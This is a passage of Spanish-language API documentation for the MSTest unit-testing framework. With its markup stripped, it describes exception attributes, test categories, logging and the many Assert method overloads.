- El nombre del parámetro. - - - El mensaje. - - Throws argument null exception when parameter is null. - - - - Parámetro de comprobación no NULL o vacío. - - - El parámetro. - - - El nombre del parámetro. - - - El mensaje. - - Throws ArgumentException when parameter is null. - - - - Enumeración de cómo se accede a las filas de datos en las pruebas controladas por datos. - - - - - Las filas se devuelven en orden secuencial. - - - - - Las filas se devuelven en orden aleatorio. - - - - - Atributo para definir los datos insertados de un método de prueba. - - - - - Inicializa una nueva instancia de la clase . - - Objeto de datos. - - - - Inicializa una nueva instancia de la clase , que toma una matriz de argumentos. - - Objeto de datos. - Más datos. - - - - Obtiene datos para llamar al método de prueba. - - - - - Obtiene o establece el nombre para mostrar en los resultados de pruebas para personalizarlo. - - - - - Excepción de aserción no concluyente. - - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - - - - Inicializa una nueva instancia de la clase . - - - - - Clase InternalTestFailureException. Se usa para indicar un error interno de un caso de prueba. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicializa una nueva instancia de la clase . - - Mensaje de la excepción. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - Mensaje de la excepción. - - - - Inicializa una nueva instancia de la clase . - - - - - Atributo que indica que debe esperarse una excepción del tipo especificado. - - - - - Inicializa una nueva instancia de la clase con el tipo esperado. - - Tipo de la excepción esperada - - - - Inicializa una nueva instancia de la clase - con el tipo esperado y el mensaje para incluir cuando la prueba no produce una excepción. - - Tipo de la excepción esperada - - Mensaje que se incluye en el resultado de la prueba si esta no se supera debido a que no se inicia una excepción - - - - - Obtiene un valor que indica el tipo de la excepción esperada. - - - - - Obtiene o establece un valor que indica si se permite que los tipos derivados del tipo de la excepción esperada - se consideren también como esperados. - - - - - Obtiene el mensaje que debe incluirse en el resultado de la prueba si esta no acaba correctamente porque no se produce una excepción. - - - - - Comprueba que el tipo de la excepción producida por la prueba unitaria es el esperado. - - Excepción que inicia la prueba unitaria - - - - Clase base para atributos que especifican que se espere una excepción de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase con un mensaje de ausencia de excepción predeterminado. - - - - - Inicializa una nueva instancia de la clase con un mensaje de ausencia de excepción. - - - Mensaje para incluir en el resultado de la prueba si esta no se supera debido a que no se inicia una - excepción - - - - - Obtiene el mensaje que debe incluirse en el resultado de la prueba si esta no acaba correctamente porque no se produce una excepción. - - - - - Obtiene el mensaje que debe incluirse en el resultado de la prueba si esta no acaba correctamente porque no se produce una excepción. - - - - - Obtiene el mensaje de ausencia de excepción predeterminado. - - Nombre del tipo de atributo ExpectedException - Mensaje de ausencia de excepción predeterminado - - - - Determina si se espera la excepción. Si el método devuelve un valor, se entiende - que se esperaba la excepción. Si el método produce una excepción, - se entiende que no se esperaba la excepción y se incluye el mensaje - de la misma en el resultado de la prueba. Se puede usar para mayor - comodidad. Si se utiliza y la aserción no funciona, - el resultado de la prueba se establece como No concluyente. - - Excepción que inicia la prueba unitaria - - - - Produce de nuevo la excepción si es de tipo AssertFailedException o AssertInconclusiveException. - - La excepción que se va a reiniciar si es una excepción de aserción - - - - Esta clase está diseñada para ayudar al usuario a realizar pruebas unitarias para tipos con tipos genéricos. - GenericParameterHelper satisface algunas de las restricciones de tipo genérico comunes, - como: - 1. Constructor predeterminado público. - 2. Implementa una interfaz común: IComparable, IEnumerable. - - - - - Inicializa una nueva instancia de la clase que - satisface la restricción "renovable" en genéricos de C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicializa una nueva instancia de la clase que - inicializa la propiedad Data con un valor proporcionado por el usuario. - - Cualquier valor entero - - - - Obtiene o establece los datos. - - - - - Compara el valor de dos objetos GenericParameterHelper. - - objeto con el que hacer la comparación - Es true si el objeto tiene el mismo valor que el objeto GenericParameterHelper "this". - De lo contrario, false. - - - - Devuelve un código hash para este objeto. - - El código hash. - - - - Compara los datos de los dos objetos . - - Objeto con el que se va a comparar. - - Número con signo que indica los valores relativos de esta instancia y valor. - - - Thrown when the object passed in is not an instance of . - - - - - Devuelve un objeto IEnumerator cuya longitud se deriva de - la propiedad Data. - - El objeto IEnumerator - - - - Devuelve un objeto GenericParameterHelper que es igual al - objeto actual. - - El objeto clonado. - - - - Permite a los usuarios registrar o escribir el seguimiento de las pruebas unitarias con fines de diagnóstico. - - - - - Controlador para LogMessage. - - Mensaje para registrar. - - - - Evento que se debe escuchar. Se genera cuando el autor de las pruebas unitarias escribe algún mensaje. - Lo consume principalmente el adaptador. - - - - - API del escritor de la prueba para llamar a los mensajes de registro. - - Formato de cadena con marcadores de posición. - Parámetros para los marcadores de posición. - - - - Atributo TestCategory. Se usa para especificar la categoría de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase y le aplica la categoría a la prueba. - - - Categoría de prueba. - - - - - Obtiene las categorías que se le han aplicado a la prueba. - - - - - Clase base del atributo "Category". - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicializa una nueva instancia de la clase . - Aplica la categoría a la prueba. Las cadenas que devuelve TestCategories - se usan con el comando /category para filtrar las pruebas. - - - - - Obtiene la categoría que se le ha aplicado a la prueba. - - - - - Clase AssertFailedException. Se usa para indicar el error de un caso de prueba. - - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - - - - Inicializa una nueva instancia de la clase . - - - - - Colección de clases auxiliares para probar varias condiciones en las - pruebas unitarias. Si la condición que se está probando no se cumple, se produce - una excepción. - - - - - Obtiene la instancia de singleton de la funcionalidad de Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Comprueba si la condición especificada es true y produce una excepción - si la condición es false. - - - Condición que la prueba espera que sea true. - - - Thrown if is false. - - - - - Comprueba si la condición especificada es true y produce una excepción - si la condición es false. - - - Condición que la prueba espera que sea true. - - - Mensaje que se va a incluir en la excepción cuando - es false. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is false. - - - - - Comprueba si la condición especificada es true y produce una excepción - si la condición es false. - - - Condición que la prueba espera que sea true. - - - Mensaje que se va a incluir en la excepción cuando - es false. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is false. - - - - - Comprueba si la condición especificada es false y produce una excepción - si la condición es true. - - - Condición que la prueba espera que sea false. - - - Thrown if is true. - - - - - Comprueba si la condición especificada es false y produce una excepción - si la condición es true. - - - Condición que la prueba espera que sea false. - - - Mensaje que se va a incluir en la excepción cuando - es true. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is true. - - - - - Comprueba si la condición especificada es false y produce una excepción - si la condición es true. - - - Condición que la prueba espera que sea false. - - - Mensaje que se va a incluir en la excepción cuando - es true. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is true. - - - - - Comprueba si el objeto especificado es NULL y produce una excepción - si no lo es. - - - El objeto que la prueba espera que sea NULL. - - - Thrown if is not null. - - - - - Comprueba si el objeto especificado es NULL y produce una excepción - si no lo es. - - - El objeto que la prueba espera que sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - no es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is not null. - - - - - Comprueba si el objeto especificado es NULL y produce una excepción - si no lo es. - - - El objeto que la prueba espera que sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - no es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not null. - - - - - Comprueba si el objeto especificado no es NULL y produce una excepción - si lo es. - - - El objeto que la prueba espera que no sea NULL. - - - Thrown if is null. - - - - - Comprueba si el objeto especificado no es NULL y produce una excepción - si lo es. - - - El objeto que la prueba espera que no sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is null. - - - - - Comprueba si el objeto especificado no es NULL y produce una excepción - si lo es. - - - El objeto que la prueba espera que no sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is null. - - - - - Comprueba si dos objetos especificados hacen referencia al mismo objeto - y produce una excepción si ambas entradas no hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera. - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if does not refer to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia al mismo objeto - y produce una excepción si ambas entradas no hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera. - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual que . El mensaje se muestra - en los resultados de las pruebas. - - - Thrown if does not refer to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia al mismo objeto - y produce una excepción si ambas entradas no hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera. - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual que . El mensaje se muestra - en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not refer to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia a objetos diferentes - y produce una excepción si ambas entradas hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if refers to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia a objetos diferentes - y produce una excepción si ambas entradas hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual que . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if refers to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia a objetos diferentes - y produce una excepción si ambas entradas hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual que . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if refers to the same object - as . - - - - - Comprueba si dos valores especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera. - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if is not equal to . - - - - - Comprueba si dos valores especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera. - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos valores especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera. - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos valores especificados son distintos y produce una excepción - si son iguales. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if is equal to . - - - - - Comprueba si dos valores especificados son distintos y produce una excepción - si son iguales. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos valores especificados son distintos y produce una excepción - si son iguales. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si dos objetos especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el objeto que la prueba espera. - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Thrown if is not equal to - . - - - - - Comprueba si dos objetos especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el objeto que la prueba espera. - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos objetos especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el objeto que la prueba espera. - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos objetos especificados son distintos y produce una excepción - si lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Thrown if is equal to . - - - - - Comprueba si dos objetos especificados son distintos y produce una excepción - si lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos objetos especificados son distintos y produce una excepción - si lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si los valores float especificados son iguales y produce una excepción - si no lo son. - - - Primer valor float para comparar. Este es el valor float que la prueba espera. - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Thrown if is not equal to - . - - - - - Comprueba si los valores float especificados son iguales y produce una excepción - si no lo son. - - - Primer valor float para comparar. Este es el valor float que la prueba espera. - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si los valores float especificados son iguales y produce una excepción - si no lo son. - - - Primer valor float para comparar. Este es el valor float que la prueba espera. - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si los valores float especificados son distintos y produce una excepción - si son iguales. - - - Primer valor float para comparar. Este es el valor float que la prueba espera que no - coincida con . - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Thrown if is equal to . - - - - - Comprueba si los valores float especificados son distintos y produce una excepción - si son iguales. - - - Primer valor float para comparar. Este es el valor float que la prueba espera que no - coincida con . - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si los valores float especificados son distintos y produce una excepción - si son iguales. - - - Primer valor float para comparar. Este es el valor float que la prueba espera que no - coincida con . - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si los valores double especificados son iguales y produce una excepción - si no lo son. - - - Primer valor double para comparar. Este es el valor double que la prueba espera. - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Thrown if is not equal to - . - - - - - Comprueba si los valores double especificados son iguales y produce una excepción - si no lo son. - - - Primer valor double para comparar. Este es el valor double que la prueba espera. - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is not equal to . - - - - - Comprueba si los valores double especificados son iguales y produce una excepción - si no lo son. - - - Primer valor double para comparar. Este es el valor double que la prueba espera. - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to . - - - - - Comprueba si los valores double especificados son distintos y produce una excepción - si son iguales. - - - Primer valor double para comparar. Este es el valor double que la prueba espera que no - coincida con . - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Thrown if is equal to . - - - - - Comprueba si los valores double especificados son distintos y produce una excepción - si son iguales. - - - Primer valor double para comparar. Este es el valor double que la prueba espera que no - coincida con . - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si los valores double especificados son distintos y produce una excepción - si son iguales. - - - Primer valor double para comparar. Este es el valor double que la prueba espera que no - coincida con . - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. Se usa la referencia cultural invariable para la comparación. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. Se usa la referencia cultural invariable para la comparación. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. Se usa la referencia cultural invariable para la comparación. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. Para la comparación, se usa la referencia cultural invariable. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. Para la comparación, se usa la referencia cultural invariable. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. Para la comparación, se usa la referencia cultural invariable. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si el objeto especificado es una instancia del tipo - esperado y produce una excepción si el tipo esperado no se encuentra en - la jerarquía de herencia del objeto. - - - El objeto que la prueba espera que sea del tipo especificado. - - - Tipo esperado de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado es una instancia del tipo - esperado y produce una excepción si el tipo esperado no se encuentra en - la jerarquía de herencia del objeto. - - - El objeto que la prueba espera que sea del tipo especificado. - - - Tipo esperado de . - - - Mensaje que se va a incluir en la excepción cuando - no es una instancia de . El mensaje se - muestra en los resultados de las pruebas. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado es una instancia del tipo - esperado y produce una excepción si el tipo esperado no se encuentra en - la jerarquía de herencia del objeto. - - - El objeto que la prueba espera que sea del tipo especificado. - - - Tipo esperado de . - - - Mensaje que se va a incluir en la excepción cuando - no es una instancia de . El mensaje se - muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado no es una instancia del tipo - incorrecto y produce una excepción si el tipo especificado se encuentra en la - jerarquía de herencia del objeto. - - - El objeto que la prueba espera que no sea del tipo especificado. - - - El tipo que no debe tener. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado no es una instancia del tipo - incorrecto y produce una excepción si el tipo especificado se encuentra en la - jerarquía de herencia del objeto. - - - El objeto que la prueba espera que no sea del tipo especificado. - - - El tipo que no debe tener. - - - Mensaje que se va a incluir en la excepción cuando - es una instancia de . El mensaje se muestra - en los resultados de las pruebas. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado no es una instancia del tipo - incorrecto y produce una excepción si el tipo especificado se encuentra en la - jerarquía de herencia del objeto. - - - El objeto que la prueba espera que no sea del tipo especificado. - - - El tipo que no debe tener. - - - Mensaje que se va a incluir en la excepción cuando - es una instancia de . El mensaje se muestra - en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Produce una excepción AssertFailedException. - - - Always thrown. - - - - - Produce una excepción AssertFailedException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Always thrown. - - - - - Produce una excepción AssertFailedException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Always thrown. - - - - - Produce una excepción AssertInconclusiveException. - - - Always thrown. - - - - - Produce una excepción AssertInconclusiveException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Always thrown. - - - - - Produce una excepción AssertInconclusiveException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Always thrown. - - - - - Las sobrecargas de igualdad estáticas se usan para comparar la igualdad de referencia de - instancias de dos tipos. Este método no debe usarse para 